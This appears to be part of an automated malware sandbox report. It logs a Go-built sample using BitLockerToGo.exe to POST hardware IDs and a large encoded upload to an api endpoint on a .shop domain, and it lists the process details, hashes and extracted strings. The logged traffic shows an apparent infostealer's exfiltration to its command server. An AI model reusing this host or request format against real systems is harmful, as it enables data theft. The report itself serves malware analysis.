2024-05-03 00:57:26 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 38 46 45 35 43 38 31 39 44 35 33 44 30 44 38 35 39 33 30 31 34 34 42 38 43 36 42 43 41 34 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 51 33 6b 44 53 32 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B8FE5C819D53D0D85930144B8C6BCA4A--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Q3kDS2----b
2024-05-03 00:57:26 UTC	5101	OUT	Data Raw: 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-05-03 00:57:27 UTC	804	IN	HTTP/1.1 200 OK Date: Fri, 03 May 2024 00:57:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=59835ma5lapsbtto6k78dqb643; expires=Mon, 26-Aug-2024 18:44:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YoWAVU1gfnxWS63oyJRhlXP9epfC0Di%2Bs8rCnd2jJjf74YghHoNvMhWo6cXdXr5NCfEvVxqtHDmc%2FH7LeMcWjl2OY8KGNb2Dzx4m7NKPK9ywYLr6txV4DgU5CNP2cLpeq52nGeAhki4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87dc4c05badd4265-EWR alt-svc: h3=":443"; ma=86400
2024-05-03 00:57:27 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 39 31 2e 39 36 2e 32 32 37 2e 32 31 39 0d 0a Data Ascii: 11ok 191.96.227.219
2024-05-03 00:57:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49740	172.67.189.159	443	1612	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-03 00:57:27 UTC	286	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 5435 Host: stiffraspyofkwsl.shop
2024-05-03 00:57:27 UTC	5435	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 38 46 45 35 43 38 31 39 44 35 33 44 30 44 38 35 39 33 30 31 34 34 42 38 43 36 42 43 41 34 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 51 33 6b 44 53 32 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B8FE5C819D53D0D85930144B8C6BCA4A--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Q3kDS2----b
2024-05-03 00:57:28 UTC	812	IN	HTTP/1.1 200 OK Date: Fri, 03 May 2024 00:57:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9im2m74771hgi60ov8fuho1mse; expires=Mon, 26-Aug-2024 18:44:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FbF4KGZP98zR7krjtRXdYdOHDhWbWZ6mVx04NPVPfQlv5tU%2FqAmwqbo0cNIs%2B6fJR3OiB7K31l6u%2F17%2BZwyil6K2T1reQOlTtAu81ASvKbF%2BYhaljsFH7yvNbl4EqOFgtoHap0%2BIcQo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87dc4c0b9e98176c-EWR alt-svc: h3=":443"; ma=86400
2024-05-03 00:57:28 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 39 31 2e 39 36 2e 32 32 37 2e 32 31 39 0d 0a Data Ascii: 11ok 191.96.227.219
2024-05-03 00:57:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49741	172.67.189.159	443	1612	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-03 00:57:28 UTC	286	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1398 Host: stiffraspyofkwsl.shop
2024-05-03 00:57:28 UTC	1398	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 38 46 45 35 43 38 31 39 44 35 33 44 30 44 38 35 39 33 30 31 34 34 42 38 43 36 42 43 41 34 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 51 33 6b 44 53 32 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B8FE5C819D53D0D85930144B8C6BCA4A--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Q3kDS2----b
2024-05-03 00:57:28 UTC	804	IN	HTTP/1.1 200 OK Date: Fri, 03 May 2024 00:57:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gl9j9hn5sttvaojr4q6h3s66qv; expires=Mon, 26-Aug-2024 18:44:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RX4uceUPIcWQ1TOu08pr%2BieiTKjkwNozTojXzSqNRvBSMSoVIBpgJaOViKxph0g8qxA%2FBJEgUvx4XE5JZYX8W8czl1bstfXYG1NIqN64TuBkDJ8LorfCnl3fbxDk4cAJN10erRLRWOs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87dc4c103db672a1-EWR alt-svc: h3=":443"; ma=86400
2024-05-03 00:57:28 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 39 31 2e 39 36 2e 32 32 37 2e 32 31 39 0d 0a Data Ascii: 11ok 191.96.227.219
2024-05-03 00:57:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49742	172.67.189.159	443	1612	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-03 00:57:32 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 572505 Host: stiffraspyofkwsl.shop
2024-05-03 00:57:32 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 38 46 45 35 43 38 31 39 44 35 33 44 30 44 38 35 39 33 30 31 34 34 42 38 43 36 42 43 41 34 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 51 33 6b 44 53 32 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B8FE5C819D53D0D85930144B8C6BCA4A--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Q3kDS2----b
2024-05-03 00:57:32 UTC	15331	OUT	Data Raw: bb e8 cd 21 f2 f8 c6 d7 1b e8 43 fa af cf c4 9a 46 6f df 13 22 36 eb 0a 69 fe d5 d8 cd 78 e1 5a d9 56 8a dd 90 13 30 73 bd 85 0b 51 78 8d a0 02 df be 47 1e d1 04 1b cb cc 7c 90 67 21 60 1a 78 71 7d 69 2d 22 51 6d 6c e3 d6 10 ae 43 74 25 f9 fe fc 1e 0d 5a 44 44 04 9e dd a0 48 43 df 90 f7 9d 97 dd cd 07 36 f9 58 e6 e4 be 03 e8 8a 6c 88 dc cf b8 6b 9b 90 5c e9 11 8b 83 3d a1 60 8c 64 6a 01 b4 2d a1 c1 ca 20 a2 0d 07 ea 61 2f 61 56 65 79 e2 57 38 00 0a 5e 71 09 3e 31 46 64 23 0d 2f 40 75 2b 71 06 e4 5e 8e d6 a6 66 39 fc b4 46 0f 06 d4 0b 8c 9f 63 1f f9 d4 a1 09 ca d6 93 e3 df 7f df 38 ed f0 8f ed b2 f7 e5 f7 3e 99 d0 da 5c 97 f5 6c f5 67 eb f7 c1 46 e3 ef 93 b7 6f 3c 35 d9 0d f6 8d 97 55 fc 40 31 ed bf 9d d4 a1 d0 b3 e4 e0 eb 71 39 ad e5 41 0f a0 94 4d e3 b7 Data Ascii: !CFo"6ixZV0sQxG\|g!`xq}i-"QmlCt%ZDDHC6Xlk\=`dj- a/aVeyW8^q>1Fd#/@u+q^f9Fc8>\lgFo<5U@1q9AM
2024-05-03 00:57:32 UTC	15331	OUT	Data Raw: b0 81 55 8d e8 74 14 df 6e d4 cf df 1a 7c d8 cf e7 f7 0a be 2e b5 e8 65 f8 7d bf 12 3c b5 5e f3 a4 c9 70 7e b1 b7 8a 7b a5 d9 b3 f2 f3 47 49 5f 21 37 4e 5c e5 7d ba 61 59 32 c7 a3 27 f8 41 c2 9c 6c df 8d b4 ca c8 f1 69 9b ef 22 1c f7 98 00 62 07 7d f4 58 60 4c 4a 88 b2 33 7a d7 80 c6 c0 b7 ae 9c 12 ac 38 79 73 3d 9b 59 66 65 93 eb b6 6b 4c 85 5a f1 8d 92 82 d6 81 4f fc 7d e7 00 26 5c 2f 4e c3 ae 64 c3 53 98 a6 a2 95 95 6b 29 1b ce cf ef d4 54 95 b8 14 4b 3e 3f 98 33 5f 15 14 e8 10 1f 94 db 75 d2 88 d4 a4 b9 79 66 3f b9 2f d4 53 f0 6a 11 39 fd ab d8 19 d3 09 c3 02 d1 6b b5 b1 79 f7 9f 85 a7 23 96 69 59 5b bb fc 59 53 89 df 69 dd f1 31 c6 6f 77 4b 26 df 2e d7 c9 de 3d bb fd cb 81 e7 b3 c9 0c f3 40 0b 5e 04 be 4b f2 db 7f d9 7b f5 0b 4d 7e 4d 08 54 33 98 ce Data Ascii: Utn\|.e}<^p~{GI_!7N\}aY2'Ali"b}X`LJ3z8ys=YfekLZO}&\/NdSk)TK>?3_uyf?/Sj9ky#iY[YSi1owK&.=@^K{M~MT3
2024-05-03 00:57:32 UTC	15331	OUT	Data Raw: 40 f7 e0 56 7a e5 7f 68 15 ff 41 53 9a 5a f0 61 d7 d9 28 7e 82 2b b0 0f b8 53 13 1a a2 f0 e0 97 dc 95 cd 0a 13 8e 77 79 2a 94 74 aa 0a fd 3b 2a ed 20 d7 86 fd 8c cb 9e 29 74 dd c9 4d 59 70 d8 d0 07 2c 83 f1 d0 2a ae 73 df 69 6b dd 51 dc f5 5b 9d 4b a7 1d 9b 07 d7 3f 85 2c 51 fb e7 3d b3 ce 45 fc ab 1a ff 2d f9 b1 42 85 de fc 90 fb 2c cd ed 49 a7 7c f0 fb 96 32 f5 f7 8a b7 7c 8f a9 11 68 26 cc e5 91 79 f4 a0 30 2d 97 e3 1f 7c 39 33 12 9d 18 a7 b3 8f 07 d8 4d f8 ac 57 5d 2e a5 de 78 ae f8 ac d3 a0 90 ea 17 59 42 32 28 e7 14 45 9c 4e eb 39 18 11 e8 82 ad 67 79 89 49 49 61 3e 2a 9e 60 3e 99 17 86 e3 5b 13 18 e6 e7 63 46 c7 0a ec f5 70 e3 69 09 60 5c 83 c2 cd 0d b6 28 15 d6 9a 18 c7 a4 12 60 a4 bc df 2a df f8 14 40 55 d8 cf d3 bd ac c9 01 5d 4b eb 12 a9 d1 23 Data Ascii: @VzhASZa(~+Swyt; )tMYp,sikQ[K?,Q=E-B,I\|2\|h&y0-\|93MW].xYB2(EN9gyIIa>`>[cFpi`\(`*@U]K#
2024-05-03 00:57:32 UTC	15331	OUT	Data Raw: cb 7c 23 41 75 e1 10 76 52 0a 53 14 b1 dc f2 69 f5 57 92 1a 95 85 6c 2c 7e d0 f1 47 f2 00 cf 62 d0 fe f3 99 7d 09 f1 24 bb 6e 27 2a ea 86 ab da fc 86 60 6a da f2 cf 0b d2 f9 48 19 50 63 dc 35 fa 3c f4 49 21 28 b8 13 94 fa d3 a3 fb b2 28 3f 73 62 aa 76 86 64 ef ae ab ae 94 66 44 ae 87 21 76 7e cb 70 e2 a7 c5 79 8b bd 0a b9 0d 72 1f bf fd d5 65 54 e0 e8 db e7 d5 a9 40 4c c6 86 f3 ad 1c 59 72 b5 bb f3 be 36 f1 ec 15 a3 af 9f 7b 68 9d 21 d9 f1 64 4e a8 04 fb 2c 26 c0 73 65 52 0e 41 67 3a 7b 2d 9f 47 f0 12 1c e4 4a 2b 77 de 91 7d 71 4c ea f8 17 42 eb 49 15 fe 23 1d 70 be 23 18 4f 89 5c a2 4e be 3c e3 ff 36 74 70 0d ef 51 d5 db f5 a0 b7 5a 71 fd 76 44 6e 0a 3b 18 07 66 3b 4a b1 0d 8f 15 ef ca 1c 8c 3f 31 72 f0 b7 ef 4d 43 fb 86 b6 83 f4 f4 66 42 a4 9c 99 4f 21 Data Ascii: \|#AuvRSiWl,~Gb}$n'*`jHPc5<I!((?sbvdfD!v~pyreT@LYr6{h!dN,&seRAg:{-GJ+w}qLBI#p#O\N<6tpQZqvDn;f;J?1rMCfBO!
2024-05-03 00:57:32 UTC	15331	OUT	Data Raw: 93 0e c3 e7 7b e4 e8 5f 01 0c 07 6f 4f 4f da 2e b1 ab b3 12 0f 79 5c 74 9c 48 9e 93 fc b1 f9 dd 9b e7 b2 07 fb f3 5e 3b 75 b5 8a ac 69 e1 96 93 b3 74 c1 1d ac 0b 7f b4 a1 59 03 78 90 49 55 e4 ff 7b 48 a1 59 44 e8 ad 67 3c e1 67 ca 19 88 98 ae 38 a7 d4 bf 8c ac 9b 17 d3 16 03 b4 12 81 ba 2f 3e af 86 ac a8 a8 e1 6f 31 f9 65 98 65 46 5a b8 51 1e 0a 47 39 2c eb 19 72 8d 93 e6 0e ad 05 79 e2 5e e7 27 2c 3a 36 7e a1 91 9e aa 6e b4 5e 1b d4 ce f2 b8 c5 10 6a 15 42 d1 47 3e 93 25 a2 08 0b 51 64 c5 c1 eb 69 aa a5 87 de a6 7c fe d6 32 5f 88 24 16 4c 11 b0 ec 0b 2d 78 dc 05 4e 83 46 17 b5 94 a0 80 3d e9 e7 3c a9 99 9f 7d a0 29 03 2a 46 c2 f0 24 47 af 72 3c ec c5 7e 28 43 36 71 5d 66 b9 23 29 57 67 15 f1 fd ce af 64 00 02 5d 78 d8 bf 5d c3 8c 4a cc 2d 76 9e f7 ff 55 Data Ascii: {_oOO.y\tH^;uitYxIU{HYDg<g8/>o1eeFZQG9,ry^',:6~n^jBG>%Qdi\|2_$L-xNF=<})*F$Gr<~(C6q]f#)Wgd]x]J-vU
2024-05-03 00:57:32 UTC	15331	OUT	Data Raw: 00 bc ca 97 8f 51 2c 1a 72 40 ad 60 8b b9 17 82 48 79 3c 7a d5 9b 94 13 9a 52 60 a1 40 f5 51 38 f1 90 47 d1 bc 14 07 46 a2 ca 80 f8 3e 92 f1 eb 06 86 ad c8 61 b0 ed 7d 15 26 f3 4c 20 9a ad f8 5d 0b bc e1 4d 63 9a db eb 83 fe 70 ef fd 99 26 ab 3b 29 d6 b4 57 8b b5 dd 47 62 83 dd 77 7f 97 47 2a 1d 08 6f c8 5f 1d ae ac fe 6e 31 10 a6 fe a9 76 f6 1c 61 50 41 e2 1c d6 c6 aa 40 f4 12 1a bc 5e 89 04 a4 ef ea f9 a6 e4 80 ba 2f 33 2c 03 57 c3 ab 19 d7 b0 8b c3 d5 ba 3a 24 1a 61 43 94 cc 9c b6 e2 60 85 ed d2 a7 4c 6a c9 53 bc 17 f7 2b e9 26 9b b2 78 41 e3 7f fc 2b 60 21 b7 94 6b 22 53 f8 03 1a e6 82 bf ee 27 d7 d7 26 e7 f9 b6 0b 03 b7 d9 f7 b2 cc 96 7d ef ac 4c cf 8e 02 55 0c 08 2b 45 01 2d f1 0b 7f 30 62 56 d8 a8 a3 3f 35 1f 01 db ca 9c 5a 0c 7e 3d e5 be 57 85 86 Data Ascii: Q,r@`Hy<zR`@Q8GF>a}&L ]Mcp&;)WGbwG*o_n1vaPA@^/3,W:$aC`LjS+&xA+`!k"S'&}LU+E-0bV?5Z~=W
2024-05-03 00:57:32 UTC	15331	OUT	Data Raw: e7 21 f1 50 92 e2 eb 15 31 d7 86 42 c2 b6 06 7f be 4e e2 84 53 f4 3f d2 db 47 7a 73 3b 61 2d 69 52 c0 cf 07 7e dd 8c 6d 4f de 96 af 77 b7 0f 5f 3f a5 09 37 f4 42 75 eb 6d e4 c0 99 81 10 ec 41 8b da 58 7d 5c 29 52 ac 25 9b b4 f9 b0 e7 61 5f f8 c5 df da a9 0a 65 af 52 64 03 c4 c7 eb 5c bf cc 21 38 3e 9c 58 69 2e 2b 88 e7 b5 35 1b bb 0c a3 a4 e1 88 df d3 1d a6 59 8b 44 c0 2e 00 0f c0 09 a7 60 c9 5f c3 2b 85 1f 9a 54 fc d4 74 58 2a 73 79 0d 11 5d b0 bd b6 88 b2 61 f6 12 e3 01 bc db ec 9b 2d 9b 07 5c 42 84 2e fe 0b 0f aa 36 8d 39 2c c0 e4 07 02 53 be dc e0 0a a0 5c 2e fd df 0e 07 77 6f cf 3b cb 4f 45 68 17 0e e2 dc 9d eb 0f 4f ca e1 20 5c 5d 46 13 39 50 df 67 6d 5c fa 2c 41 80 d0 78 fd 6f 78 d2 41 dc a3 39 58 d7 9f cd bf 47 81 14 73 61 59 e2 3c 15 78 c1 58 f5 Data Ascii: !P1BNS?Gzs;a-iR~mOw_?7BumAX}\)R%a_eRd\!8>Xi.+5YD.`_+TtX*sy]a-\B.69,S\.wo;OEhO \]F9Pgm\,AxoxA9XGsaY<xX
2024-05-03 00:57:32 UTC	15331	OUT	Data Raw: e1 db fe bf 3a dc 31 09 de 17 2a c1 6c c9 8d d9 ef a5 ce f2 a2 a5 97 95 4b 2d 1d 2e dc 16 90 f5 11 ae eb ef fb 7f ee 1c fe f1 e1 3a bf 0d b4 d0 c8 c7 83 9f 64 34 86 56 6c 20 57 ad d4 25 82 fa 31 76 fd d8 eb d6 15 2a ae f5 e7 3f 09 a7 96 17 0c fe a9 ef 9d f9 1a 35 5c bd de 7f 03 06 b2 94 df a5 78 41 a5 73 9c 5b 62 05 df 65 65 c8 cc 17 f2 f2 c5 08 37 3d 1a 79 b6 de cf ec 15 0e 94 f9 f3 db fc 47 a5 3f 3e a4 1d f1 03 cd 3f a9 97 77 10 8f b2 70 c5 90 ed ee 03 cd 39 05 b5 da 9d b6 fd b4 5e 89 34 1f 20 72 a0 89 e0 18 26 05 be 41 5b 9b c1 8c a8 d9 77 40 9f 11 6d 48 29 bb e6 04 87 be e2 8c 1d 87 e3 c3 f1 cc 0c 69 62 11 c4 f9 2c 31 47 60 db a4 6c 36 ad 51 d3 d0 ee 7d 11 de a3 6e d7 ea 62 d0 34 7e 11 81 d5 2f 96 5b 4c 16 4c c9 01 62 3f 55 80 d7 35 9b 33 5b 7b 4b 9f Data Ascii: :1lK-.:d4Vl W%1v?5\xAs[bee7=yG?>?wp9^4 r&A[w@mH)ib,1G`l6Q}nb4~/[LLb?U53[{K
2024-05-03 00:57:32 UTC	15331	OUT	Data Raw: 92 5c 88 a3 23 10 67 e3 05 cd 7c 5c 96 3e 28 e3 d0 c2 77 9d 61 5e c9 7d 8f 3d 00 11 d9 fb 0e 86 bf 40 45 82 a4 b7 ce f1 50 e7 66 8e 2e b2 e1 49 0b 4f 0d 19 7a 59 94 1c 03 60 f9 76 26 0e ec 72 8f 9e f0 b9 f2 8b e0 b2 cd 92 f8 c5 ca 57 2a cb aa 4e db c7 8e 41 48 90 d8 ea 13 6a e9 2c ca ae 36 19 91 ba 9e c0 79 dd 99 a8 dd fe 77 76 fd d4 5c f1 71 72 25 f0 8e ec 4b b4 4b 1a 47 fa 8e ff a5 5b 74 28 90 ff cf 7b 8d 94 ee 29 a1 53 01 ee e7 63 76 23 cc e3 97 f6 22 ae cf 9f 4d 26 9f 3d 22 83 b7 ab cb 8c 47 16 73 f6 cb d3 de b8 52 fa 01 f3 b8 a0 69 f9 fa 8f 5a ff 39 8e bf 89 ff 1d 0c 6d 91 fb e6 c3 f2 93 6a 81 5c ff 7f bb 37 d7 9d 8d fd d7 9c f9 b0 ab f4 e9 79 75 f4 95 b2 5f 41 cf 7d fc 6b da 2a 82 b9 f3 57 f0 ab 4b 98 bb 15 34 a5 25 34 13 03 09 1c 62 67 06 ff 20 64 Data Ascii: \#g\|\>(wa^}=@EPf.IOzY`v&rWNAHj,6ywv\qr%KKG[t({)Scv#"M&="GsRiZ9mj\7yu_A}kWK4%4bg d
2024-05-03 00:57:34 UTC	814	IN	HTTP/1.1 200 OK Date: Fri, 03 May 2024 00:57:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=p6bu7r9qodbeh3njoullb83qq9; expires=Mon, 26-Aug-2024 18:44:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SJ%2FjNfIK%2FNo%2BlXYi67Wzai8frv%2FASvMPb8i%2B%2BWEksfkL60p8hPwU%2Bxk2AZgKsvFpmPMiW91f091UH611MF5tyevmtE9fRpdhmj1pQVil2eUCgCuuLqw9N5DDM69nj4hrgOvDjLiP4GU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87dc4c2bba50c425-EWR alt-svc: h3=":443"; ma=86400

Target ID:	0
Start time:	02:56:57
Start date:	03/05/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x7ff615040000
File size:	6'055'936 bytes
MD5 hash:	16F894F264D824EB23EBEB77BD860DE2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Go lang
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:57:20
Start date:	03/05/2024
Path:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Imagebase:	0xb00000
File size:	231'736 bytes
MD5 hash:	A64BEAB5D4516BECA4C40B25DC0C1CD8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	15.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	29.5%
Total number of Nodes:	393
Total number of Limit Nodes:	16

Executed Functions

Function 00362840 Relevance: 16.9, APIs: 2, Strings: 7, Instructions: 1114COMMON

Download Yara Rule

Strings

onqp, xrefs: 00362B06
rv, xrefs: 0036317D
$b, xrefs: 00363176
B56, xrefs: 0036352E
r06, xrefs: 00362ED8, 0036305E
206, xrefs: 00363026
06, xrefs: 003630D1

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: $b$206$B56$onqp$r06$rv$06
API String ID: 0-4136342985
Opcode ID: 0dd84f76bbde3d908603d0b8d1240cdb33e2d2995a87531e2d855861a46bad6d
Instruction ID: 40cd5ae1fd5dcfa2d302ff715e32dde4590a32803763766ce0e3ee4e5b47bf0c
Opcode Fuzzy Hash: 0dd84f76bbde3d908603d0b8d1240cdb33e2d2995a87531e2d855861a46bad6d
